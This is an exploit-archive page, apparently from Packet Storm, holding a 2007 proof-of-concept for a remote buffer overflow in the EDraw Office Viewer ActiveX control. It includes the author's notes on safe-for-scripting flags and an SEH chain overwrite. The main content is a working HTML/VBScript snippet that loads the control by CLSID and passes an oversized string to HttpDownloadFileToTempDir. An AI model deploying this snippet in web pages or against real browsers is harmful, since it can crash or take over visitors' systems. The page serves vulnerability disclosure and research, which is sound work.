exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

edraw-activex.txt

edraw-activex.txt
Posted Sep 7, 2007
Authored by shinnai | Site shinnai.altervista.org

EDraw Office Views component version 5.2 ActiveX remote buffer overflow proof of concept exploit.

tags | exploit, remote, overflow, activex, proof of concept
SHA-256 | ed72f620718d7839f98aaa923396b1a9f51f380a73147bb28e527a27a19da795

edraw-activex.txt

Change Mirror Download
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------------------
<b>0-day EDraw Office Viewer Component 5.2 (officeviewer.ocx v. 5.2.218.1) "HttpDownloadFileToTempDir()"
Remote Buffer Overflow</b>
url: http://www.ocxt.com/officeviewer.php

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.

<b>This ActiveX is marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller, data
IPStorage Safe: Safe for untrusted: caller, data
KillBitSet: False</b>

Even this time, shinnai is not credited for bug finding but they wrote:
"3. Changes the Insecure Method .void HttpDownloadFile(WebUrl, LocalFile, WebUsername, WebPassword).
to .BSTR HttpDownloadFileToTempDir(WebUrl, WebUsername, VARIANT WebPassword);
Now the component can only download the file to .Internet temporary file directory\OA\..
<b>So anybody can.t use the method to download a file then conver a good system file.</b>"

mmm... sure but, guys, take a look to SEH chain and you'll find this:

<b>SEH chain of thread 000011A0, item 0
Address=0172F284
SE handler=iexplore.00410041

SEH chain of thread 000011A0, item 1
Address=00410041
SE handler=00844E79</b>

do you know what I mean ;)

P.S.
encrease the number of buffer to see everything freezed
--------------------------------------------------------------------------------------------------------------


<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
buff = String(8212,"A")
test.HttpDownloadFileToTempDir buff,"defaultV","defaultV"
End Sub
</script>
</span>
</code></pre>
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close